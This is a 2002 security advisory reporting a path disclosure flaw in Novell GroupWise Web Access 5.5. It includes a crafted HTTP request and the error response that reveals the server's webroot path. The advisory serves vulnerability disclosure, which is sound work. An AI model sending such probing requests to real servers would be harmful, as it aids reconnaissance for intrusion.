SecurityOffice Security Advisory:// Novell GroupWise Web Access Path Disclosure Vulnerability

From: Tamer Sahin (tsat_private)
Date: Wed Feb 27 2002 - 15:31:10 PST

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    Novell GroupWise Web Access Path Disclosure Vulnerability
    
    Type:
    
    Input Validation Error
    
    Release Date:
    
    February 28, 2002
    
    Product / Vendor:
    
    Novell GroupWise, the premier communication and collaboration tool
    for the one Net environment, helps you tackle some of the toughest
    business challenges you face. Whether your organization is small,
    midsize or large, your employees need e-mail, calendaring, document
    management and other collaborative tools to open up the lines of
    communication and keep your business running efficiently. 
    
    http://www.novell.com/products/groupwise/
    
    Summary:
    
    If an attacker submits a web request containing unexpected arguments
    for script variables, an error message will be displayed containing
    the path to the webroot directory of the server running the GroupWise
    Web Access.
    
    Exploit:
    
    GET /cgi-bin/GW5/GWWEB.EXE?GET-CONTEXT&HTMLVER=AAA HTTP/1.0
    
    HTTP/1.1 200 Document Follows
    Date: Wed, 27 Feb 2002 22:27:08 GMT
    Server:
    MIME-version: 1.0
    Content-type: text/html
    Connection: close
    
    Could not find file
    SYS:\NOVONYX\SUITES~1\CGI-BIN\GW5\US\AAA\LOGIN.HTM
    
    Tested:
    
    Netware Enterprise Web Server 5.1 / GroupWise Web Access 5.5
    
    Vulnerable:
    
    GroupWise Web Access 5.5 (And may be other.)
    
    Disclaimer:
    
    http://www.securityoffice.net is not responsible for the misuse or
    illegal use of any of the information and/or the software listed on
    this security advisory.
    
    Author:
    
    Tamer Sahin
    tsat_private
    http://www.securityoffice.net
    
    Tamer Sahin
    http://www.securityoffice.net
    PGP Key ID: 0x2B5EDCB0
    
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